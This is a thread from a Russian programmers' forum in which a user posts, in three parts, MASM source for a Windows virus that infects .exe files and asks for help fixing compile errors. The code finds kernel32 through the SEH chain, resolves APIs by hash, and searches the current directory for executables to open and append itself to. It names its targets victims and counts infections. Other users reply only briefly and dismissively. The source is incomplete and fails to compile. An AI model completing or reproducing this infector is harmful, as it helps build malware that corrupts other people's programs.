Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 23.08.2012, 16:46   #11
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Сейчас правильно-?

.
Код:
386
.model flat, stdcall
option casemap:none

pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm

includelib \masm32\lib\kernel32.lib

ExitProcess PROTO :DWORD
FindFirstFileA PROTO :DWORD
GetFileSize PROTO : DWORD

.data
delta_off
 
.data
    db 0
.code
    invoke ExitProcess, 0
start:
djonatan98 вне форума Ответить с цитированием
Старый 23.08.2012, 19:28   #12
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Организовал код так

Код:
386
.model flat, stdcall
option casemap:none


includelib \masm32\lib\kernel32.lib

 		
СloseHandle    PROTO :DWORD    	
FindFirstFileA PROTO :DWORD,:DWORD 	
FindNextFileA  PROTO :DWORD,:DWORD  	
CreateFileA    PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD		
ReadFile       PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD		
GlobalAlloc    PROTO :DWORD,:DWORD   	
GetFileSize    PROTO :DWORD,:DWORD   		
SetFilePointer PROTO :DWORD,:DWORD,:DWORD,:DWORD		
WriteFile      PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD  		               
GlobalFree     PROTO :DWORD    		
VirtualProtect PROTO :DWORD,:DWORD,:DWORD,:DWORD	
ExitProcess    PROTO :DWORD		
GetProcAddress PROTO :DWORD,:DWORD	
LoadLibrary    PROTO :DWORD 	
SetCurrentDirectory PROTO :DWORD 	
			

pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm


.data
delta_off
 
.data
    db 0
.code
    invoke ExitProcess, 0
start:
теперь выдает всего 107 ошибок вместо 125
djonatan98 вне форума Ответить с цитированием
Старый 23.08.2012, 21:29   #13
Ulex
Непрофессионал
Участник клуба
 
Аватар для Ulex
 
Регистрация: 01.01.2008
Сообщений: 1,405
По умолчанию

Цитата:
.data
delta_off

.data
db 0
.code
invoke ExitProcess, 0
start:
Забавно. Книжки читать не пробовали, говорят помогает иногда.
И чем больше я узнавал людей, тем больше мне нравились компьютеры.
------------------------------------
Страничка с моими программками http://ulex-masm.ru
Ulex вне форума Ответить с цитированием
Старый 24.08.2012, 11:57   #14
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Код:
Все равно выдает 107 ошибок, может дело в неcтандартных в функциях типа _ReadSEH, _CheckMZ и _SearchAPI, также руагется на  
Virsize equ $-start, хотя это документированные API функции

Последний раз редактировалось djonatan98; 24.08.2012 в 11:59.
djonatan98 вне форума Ответить с цитированием
Старый 24.08.2012, 21:02   #15
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Может так нужно определить структуры и константы-?
djonatan98 вне форума Ответить с цитированием
Старый 25.08.2012, 17:09   #16
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Привожу скрин - http://s019.radikal.ru/i627/1208/3e/1498050344f9.png
Это выдает командная строка при компиляции
djonatan98 вне форума Ответить с цитированием
Старый 25.08.2012, 17:22   #17
Goodwin98
equ asm
Участник клуба
 
Аватар для Goodwin98
 
Регистрация: 02.05.2009
Сообщений: 1,605
По умолчанию

я бы начал с первой ошибки. перевел ее на русский и посмотрел что же такое страшное в 22 строке кода.
Какой вопрос - такой ответ. Не забываем пользоваться поиском, гуглом.
Помощь в выполнении работ по ассемблеру ICQ:2725322O4
Goodwin98 вне форума Ответить с цитированием
Старый 26.08.2012, 00:01   #18
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я нашел более доработанный код,содержит ошибки,но не в дельта смещениях,в синтаксисе привожу

Код:
.386
.model flat, stdcall
option casemap:none


pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm

includelib \lib\kernel32.lib

ExitProcess PROTO :DWORD

.data
    db 0
.code
    invoke ExitProcess, 0
start:

    сall  VirDelta
VirDelta:
    sub   dword ptr [esp], OFFSET VirDelta
    push  dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке
    
    ; Читаем SEH
ReadSEH:
    xor    edx, edx              ; edx = 0
    assume fs:flat
    mov    eax, fs:[edx]         ; читаем элемент SEH
    dec    edx                   ; edx = 0FFFFFFFFh

; Ищем элемент со значением 0FFFFFFFFh
SearchKernel32:
    cmp    [eax], edx            ; сравниваем очередной с 0FFFFFFFFh
    je     CheckKernel32         ; прыгаем, если нашли
    mov    eax, [eax]            ; получаем следующее значение
    jmp    SearchKernel32        ; если не нашли - ищем дальше

; Определяем адрес Kernel32
CheckKernel32:
    mov    eax, [eax + 4]        ; получаем адрес ГДЕ-ТО в 
    xor    ax, ax                ; выравниваем полученный адрес

; Ищем сигнатуру MZ
    SearchKernelMZ:          
    cmp word ptr [eax], 5A4Dh    ; сверяем сигнатуру MZ
    je  CheckKernelMZ            
                                 ; сигнатура верна, переходим на 
                                 ; проверку сигнатуры PE
    sub eax, 10000h              ; если не равна MZ, то ищем дальше
    jmp SearchKernelMZ

; Проверяем сигнатуру PE
CheckKernelMZ:	
    mov  edx, [eax + 3Ch]        ; переходим на PE-заголовок
    cmp  word ptr [eax + edx], 4550h ; сверяем сигнатуру
    jne  _Exit                   ; неверная сигнатура, поэтому 
                                 ; выходим
    
    SearchAPI:
    mov   esi, [eax + edx + 78h]
    add   esi, eax
    add   esi, 18h
    xchg  eax, ebx
    lodsd                           ; получаем число указателей на имена
    push  eax                       ; [ebp+4*4]
    lodsd                           ; получаем RVA таблицы экспорта
    push  eax                       ; [ebp+4*3]
    lodsd                           ; получаем RVA таблицы указателей на 
                                    ; имена
    push  eax                       ; [ebp+4*2]
    add   eax, ebx
    push  eax                       ; Указатель на таблицу имен 
                                    ; [ebp+4*1]
    lodsd                           ; получим RVA на таблицу ординалов
    push  eax                       ; [ebp]
    mov   edi, [esp+4*5]            ; edi = дельта_смещение
    lea   edi, [edi+HashTable]      ; edi указывает на начало HashTable
    mov   ebp, esp                  ; сохраняем базу стека

_BeginSearch:
    mov   ecx, [ebp+4*4]            ; число имен функций
    add   delta_off
    xor   edx, edx                  ; здесь хранится порядковый номер 
                                    ; функции (от 0)
_SearchAPIName:          
    mov  esi, [ebp+4*1]
    mov  esi, [esi]
    add  esi, ebx                   ; адрес ASСII-имени очередной API-
                                    ; функции

; подсчет хэш-значения от имени функции
_GetHash:
    xor  eax, eax
    push eax
_CalcHash:
    ror  eax, 7
    xor  [esp],eax
    lodsb
    test al, al
    jnz  _CalcHash
    pop  eax
djonatan98 вне форума Ответить с цитированием
Старый 26.08.2012, 00:04   #19
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

№2

Код:
хэш подсчитан
OkHash:
    cmp  eax, [edi]                 ; сверяем полученный hash с тем что в 
                                    ; таблице HashTable
    je   _OkAPI                     ; переходим на вычисление адреса функции
    add  dword ptr [ebp+4*1], 4     ; сдвигаемся к другому элементу таблицы 
                                    ; экспорта
    inc  edx
    loop _SearchAPIName 
    jmp  _Exit                            

; вычисляем адрес функции
_OkAPI:
    shl  edx, 1                     ; номер функции
    mov  ecx, [ebp]                 ; берем указатель на таблицу ординалов
    add  ecx, ebx
    add  ecx, edx
    mov  ecx, [ecx]
    and  ecx, 0FFFFh
    mov  edx, [ebp+4*3]             ; извлекаем RVA таблицы экспорта
    add  edx, ebx
    shl  ecx, 2
    add  edx, ecx
    mov  edx, [edx]
    add  edx, ebx
    push edx                        ; сохраняем адрес найденной функции в 
                                    ; стеке
    cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    je   _Call_API
    add  edi, 4                     ; следующее hash-значение функции

_NextName:
    mov  ecx, [ebp+4*2]             ; восстанавливаем начало таблицы экспорта
    add  ecx, ebx
    mov  [ebp+4*1], ecx             ; Index в таблице имен
    jmp  short _BeginSearch

    begin_data:

infect_count   db 0 ; Счетчик зараженных программ

j_m_p          db 0E9h
save_vir_b     db 5 dup(0)
old_save_vir_b db 5 dup(0)

dwSectionAlignment dd 0

WIN32_FIND_DATA           label    byte
  WFD_dwFileAttributes    dd       0
  WFD_ftCreationTime      dq       0
  WFD_ftLastAccessTime    dq       0
  WFD_ftLastWriteTime     dq       0
  WFD_nFileSizeHigh       dd       0
  WFD_nFileSizeLow        dd       0
  WFD_dwReserved0         dd       0
  WFD_dwReserved1         dd       0
  WFD_szFileName          db       260 dup (0)
  WFD_szAlternateFileName db       14 dup (0)
WIN32_FIND_DATA_END       label    byte
              
delta_off           equ [ebp+18h]

CloseHandle         equ dword ptr [ebp-4*1]
FindFirstFileA      equ dword ptr [ebp-4*2]
FindNextFileA       equ dword ptr [ebp-4*3]
CreateFileA         equ dword ptr [ebp-4*4]
ReadFile            equ dword ptr [ebp-4*5]
GlobalAlloc         equ dword ptr [ebp-4*6]
GetFileSize         equ dword ptr [ebp-4*7]
SetFilePointer      equ dword ptr [ebp-4*8]
WriteFile           equ dword ptr [ebp-4*9]
GlobalFree          equ dword ptr [ebp-4*10]
VirtualProtect      equ dword ptr [ebp-4*11]
_ExitProcess        equ dword ptr [ebp-4*12]
GetProcAddress      equ dword ptr [ebp-4*13]
LoadLibrary         equ dword ptr [ebp-4*14]
FindClose           equ dword ptr [ebp-4*15]
GetModuleFileNameA  equ dword ptr [ebp-4*16]
SetCurrentDirectoryA equ dword ptr [ebp-4*17]
FreeLibrary         equ dword ptr [ebp-4*18]

; Таблица хешей
HashTable:
dd 0F867A91Eh ; CloseHandle
dd 03165E506h ; FindFirstFileA
dd 0CA920AD8h ; FindNextFileA
dd 0860B38BCh ; CreateFileA
dd 029C4EF46h ; ReadFile
dd 0CC17506Ch ; GlobalAlloc
dd 0AAC2523Eh ; GetFileSize
dd 07F3545C6h ; SetFilePointer
dd 0F67B91BAh ; WriteFile
dd 03FE8FED4h ; GlobalFree
dd 015F8EF80h ; VirtualProtect
dd 0D66358ECh ; ExitProcess
dd 05D7574B6h ; GetProcAddress
dd 071E40722h ; LoadLibraryA
dd 0E65B28ACh ; FindClose
dd 059B44650h ; GetModuleFileNameA
dd 00709DC94h ; SetCurrentDirectoryA
dd 0D64B001Eh ; FreeLibrary
dw 0FFFFh     ; Признак конца таблицы

; Режимы доступа к файлу
GENERIC_READ     equ 80000000h
GENERIC_WRITE    equ 40000000h
FILE_SHARE_READ  equ 1
FILE_SHARE_WRITE equ 2
OPEN_EXISTING    equ 3

; Атрибуты файла
FILE_ATTRIBUTE_HIDDEN equ 2
FILE_ATTRIBUTE_SYSTEM equ 4
FILE_ATTRIBUTE_NORMAL equ 80h

; Максимальное число жертв
MaxVictimNumber equ 2

; Максимальный размер файла в байтах
CheckVictimSize equ 0 ; Проверять размер?
MaxVictimSize equ   35 * 1024

; Размер всего кода вируса в байтах
Virsize equ $-start

end_data:

dd Virsize                             ; Размер кода в байтах
dd $ - save_vir_b - 4 + 4096 - Virsize ; Смещение save_vir_b относительно 
                                       ; конца 4096-байтного блока
dd begin_data - start                  ; Смещение метки begin_data 
                                       ; относительно start
dd HashTable - start                   ; Смещение метки HashTable 
                                       ; относительно start

; Разрешаем записывать данные в секцию кода
    pusha
    push esp
    push 40h
    push OFFSET end_data - OFFSET begin_data
    mov  eax, OFFSET begin_data
    add  eax, delta_off
    push eax
    call VirtualProtect
    popa

; Загружаем user32.dll
    pushz "user32.dll"
    call  LoadLibrary
    push  eax

    ; Находим MessageBoxA
    pushz "MessageBoxA"
    push  eax
    call  GetProcAddress
djonatan98 вне форума Ответить с цитированием
Старый 26.08.2012, 00:09   #20
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

№3

Код:
 Вызываем MessageBoxA
    push  24h
    pushz "Заражение"
    pushz "Вы действительно хотите запустить эту программу?"
    push  0
    call  eax
    mov   ebx, eax
    pop   eax

    ; Освобождаем библиотеку user32.dll
    push eax
    call FreeLibrary

    ; Если пользователь отказался запускать программу - выходим
    cmp  ebx, 7 ; IDNO
    je   ExitVirus
  
    ; Обнуляем счетчик заражений
    lea  esi, infect_count
    and  byte ptr [esi], 0

    push eax             ; резервируем место в стеке для hFind

    ; Определяем и устанавливаем текущую директорию
    lea  esi, WFD_szFileName
    push LENGTHOF WFD_szFileName
    push esi
    push 0
    call GetModuleFileNameA
    lea  edi, WFD_szFileName
    add  edi, delta_off
    mov  ebx, eax
    add  ebx, edi
_scan_back:
    dec ebx
    cmp byte ptr [ebx], '\'
    jne _scan_back
    mov byte ptr [ebx], 0
    push edi
    call SetCurrentDirectoryA

    ; Начинаем поиск программ
    lea   eax, WIN32_FIND_DATA
    add   eax, delta_off
    push  eax
    pushz "*.exe"
    call  FindFirstFileA
    mov   hFind, eax      ; Сохраняем хендл поиска
    inc   eax             ; cmp eax, INVALID_HANDLE_VALUE
    jnz   _OpenFile       ; Если нет ошибок
    jmp   _Exit           ; Ошибка. Ни одного файла не найдено. Выходим

    ; Продолжаем поиск
_FindNextFileA:
    lea  eax, WIN32_FIND_DATA
    push eax	
    push hFind
    call FindNextFileA
    or   eax, eax
    jz   _Exit             ; Если ничего больше не найдено, выходим

    ; Файл найден
_OpenFile:
    ; Проверяем атрибуты
    mov  eax, OFFSET WFD_dwFileAttributes
    mov  eax, [eax]
    .IF  !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM ||
           eax & FILE_ATTRIBUTE_NORMAL)
        ; Атрибуты не подходят. Пропускаем файл
        jmp _FindNextFileA
    .ENDIF

    ; Проверяем размер файла
    mov  eax, OFFSET WFD_nFileSizeLow
    mov  eax, [eax]
    mov  ebx, CheckVictimSize
    .IF  ebx && eax > MaxVictimSize
        ; Размер не подходит. Пропускаем файл
        jmp _FindNextFileA
    .ENDIF

    ; Открываем файл
    push 0
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push 0
    push FILE_SHARE_READ OR FILE_SHARE_WRITE
    push GENERIC_READ OR GENERIC_WRITE
    mov  eax, OFFSET WFD_szFileName
    push eax
    call CreateFileA
    inc  eax
    jz   _FindNextFileA    ; Не удалось открыть. Продолжаем поиск
    dec  eax	
    push eax               ; Сохраним hFile

     ; Обнуляем данные
    lea  esi, WIN32_FIND_DATA
    add  esi, delta_off
    mov  ecx, WIN32_FIND_DATA_END - WIN32_FIND_DATA - 1
@@zero_WIN32_FIND_DATA:
    and  byte ptr [esi + ecx], 0
    loop @@zero_WIN32_FIND_DATA
    and  byte ptr [esi], 0

    ; Читаем значение выравнивания SectionAlignment
    push 0
    push 0
    push 3Ch
    push hFile
    call SetFilePointer

    lea  esi, dwSectionAlignment
    add  esi, delta_off
    push 0
    push esp
    push 4
    push esi
    push hFile
    call ReadFile

    mov  eax, [esi]
    add  eax, 38h
    push 0
    push 0
    push eax
    push hFile
    call SetFilePointer

    lea  esi, dwSectionAlignment
    add  esi, delta_off
    push 0
    push esp
    push 4
    push esi
    push hFile
    call ReadFile

    push 0
    push 0
    push 0
    push hFile
    call SetFilePointer

    ; Получаем размер файла программы-жертвы
    push 0
    push hFile
    call GetFileSize
    push eax               ; Сохраняем оригинальный размер файла dwFileSize
    lea  esi, dwSectionAlignment
    mov  edi, [esi]
    mov  esi, Virsize
    dec  edi
    add  esi, edi
    not  edi
    and  esi, edi
    add  eax, esi
    push eax               ; Сохраняем размер файла dwAlignedFileSize

    ; Выделяем память под размер файла dwAlignedFileSize
    push eax
    push 0

    ; Получаем размер файла программы-жертвы
    push 0
    push hFile
    call GetFileSize
    push eax               ; Сохраняем оригинальный размер файла dwFileSize
    lea  esi, dwSectionAlignment
    mov  edi, [esi]
    mov  esi, Virsize
    dec  edi
    add  esi, edi
    not  edi
    and  esi, edi
    add  eax, esi
    push eax               ; Сохраняем размер файла dwAlignedFileSize
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09
[PASCAL]Программа создания файла, программа обработки файла Виколяшка Фриланс 7 23.09.2009 17:38
Программа создания файла, программа обработки файла [PASCAL] Виколяшка Помощь студентам 1 22.09.2009 22:56